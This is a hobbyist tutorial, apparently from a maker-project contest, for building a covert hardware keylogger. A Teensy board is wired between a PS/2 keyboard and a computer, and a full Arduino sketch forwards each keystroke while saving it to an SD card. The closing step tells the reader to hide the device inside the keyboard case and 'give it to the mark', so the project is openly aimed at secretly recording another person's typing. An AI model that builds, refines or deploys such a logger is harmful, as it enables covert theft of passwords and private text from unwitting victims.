Introduction: Teensy Hardware Key Logger

This is my first project with the teensy, I currently am trying to edit the librarys so the ctrl, alt, and caps keys work. I have gotten the windows key to work but I plan to release them all at one time so until then the windows key will not work.

The log file will look like this:

This is what the log file [ENTER]
looks[ENTER]
[UPARROW]
like.essays could kill your teensy ram XP[ENTER]

Step 1: Items Needed

Teensy
Sdcard adapter
PS2 Keyboard - any US keyboard will do
USB Cable - to program the teensy, and use as a keyboard cable.

Step 2: Attach the SD Adapter

So here we go, you attach your sd adapter to you teensy 2.0. This is pretty easy, just look at the top of your teensy then place the adapter on top with the sd card pointing toward the usb connector and solder it on. If you have the Teensy++ you will have to use different pins listed on pjrc.com.

*I did mine a bit differently, I solderd pins on the bottom, then a dip socket on top of the teensy, and then put pins on the sd adapter, so it all plugs together. I am using this teensy as a prototyping device. I do not have the money to buy a teensy for all of my projects.

Step 3: Attach the Keyboard

Then you take your ps2 keyboard, and attach it to your teensy using the pinout and directions here
http://www.pjrc.com/teensy/td_libs_PS2Keyboard.html

I attached the data pin to 9, and the IRQ to pin 8 on my teensy.

*I used some extra wire, and some easy pin connectors things that I riped out of some old computers to connect the keyboard.

Step 4: The Code

Alright so this is the code below feel free to use it, play with it, etc. I used the PS2Keyboard Library to interface with the keyboard, then used the Teensy's HID device library to pretty much just convert ps2 keys to usb keys. Then I used the SDFat Library to write the keys to the sdcard.

#include <SdFat.h>
#include <PS2Keyboard.h>

const int chipSelect = 0;

const int DataPin = 9;
const int IRQpin = 8;

String keylog = "";

PS2Keyboard keyboard;

SdFat sd;
SdFile myFile;

void setup() {
  sd.init(SPI_HALF_SPEED, chipSelect);
  keyboard.begin(DataPin, IRQpin);
}

void loop() {
  if (keyboard.available()) {
    myFile.open("test.txt", O_RDWR | O_CREAT | O_AT_END);

    // read the next key
    char c = keyboard.read();

    // check for some of the special keys
    if (c == PS2_ENTER) {
      Keyboard.set_key1(KEY_ENTER);
      Keyboard.send_now();
      Keyboard.set_key1(0);
      Keyboard.send_now();
      keylog += "[ENTER]";
      myFile.println(keylog);
      myFile.close();
      keylog = "";
    } else if (c == PS2_TAB) {
      Keyboard.set_key1(KEY_TAB);
      Keyboard.send_now();
      Keyboard.set_key1(0);
      Keyboard.send_now();
      myFile.println("[TAB]");
      myFile.close();
    } else if (c == PS2_ESC) {
      Keyboard.set_key1(KEY_ESC);
      Keyboard.send_now();
      Keyboard.set_key1(0);
      Keyboard.send_now();
      myFile.println("[ESC]");
      myFile.close();
    } else if (c == PS2_PAGEDOWN) {
      Keyboard.set_key1(KEY_PAGE_DOWN);
      Keyboard.send_now();
      Keyboard.set_key1(0);
      Keyboard.send_now();
      myFile.println("[PAGEDOWN]");
      myFile.close();
    } else if (c == PS2_PAGEUP) {
      Keyboard.set_key1(KEY_PAGE_UP);
      Keyboard.send_now();
      Keyboard.set_key1(0);
      Keyboard.send_now();
      myFile.println("[PAGEUP]");
      myFile.close();
    } else if (c == PS2_LEFTARROW) {
      Keyboard.set_key1(KEY_LEFT);
      Keyboard.send_now();
      Keyboard.set_key1(0);
      Keyboard.send_now();
      myFile.println("[LEFTARROW]");
      myFile.close();
    } else if (c == PS2_RIGHTARROW) {
      Keyboard.set_key1(KEY_RIGHT);
      Keyboard.send_now();
      Keyboard.set_key1(0);
      Keyboard.send_now();
      myFile.println("[RIGHTARROW]");
      myFile.close();
    } else if (c == PS2_UPARROW) {
      Keyboard.set_key1(KEY_UP);
      Keyboard.send_now();
      Keyboard.set_key1(0);
      Keyboard.send_now();
      myFile.println("[UPARROW]");
      myFile.close();
    } else if (c == PS2_DOWNARROW) {
      Keyboard.set_key1(KEY_DOWN);
      Keyboard.send_now();
      Keyboard.set_key1(0);
      Keyboard.send_now();
      myFile.println("[DOWNARROW]");
      myFile.close();
    } else if (c == PS2_HOME) {
      Keyboard.set_key1(KEY_HOME);
      Keyboard.send_now();
      Keyboard.set_key1(0);
      Keyboard.send_now();
      myFile.println("[HOME]");
      myFile.close();
    } else if (c == PS2_SCROLL) {
      Keyboard.set_key1(KEY_SCROLL_LOCK);
      Keyboard.send_now();
      Keyboard.set_key1(0);
      Keyboard.send_now();
      myFile.println("[SCROLL]");
      myFile.close();
    } else if (c == PS2_BACKSPACE) {
      Keyboard.set_key1(KEY_BACKSPACE);
      Keyboard.send_now();
      Keyboard.set_key1(0);
      Keyboard.send_now();
      myFile.println("[BACKSPACE]");
      myFile.close();
    } else if (c == PS2_DELETE) {
      Keyboard.set_key1(KEY_DELETE);
      Keyboard.send_now();
      Keyboard.set_key1(0);
      Keyboard.send_now();
      myFile.println("[DELETE]");
      myFile.close();
    } else {

      // otherwise, just print all normal characters
      Keyboard.print(c);
      keylog += c;
    }
  }
}

Step 5: Finishing It Up

All you have to do at that point is just test it, cram it inside the keyboard case and give it to the mark.

Thanks everyone, leave comments, questions etc. Hope you like the project. :) I'll have the bugs worked out in a month or so.

4th Epilog Challenge

Participated in the
4th Epilog Challenge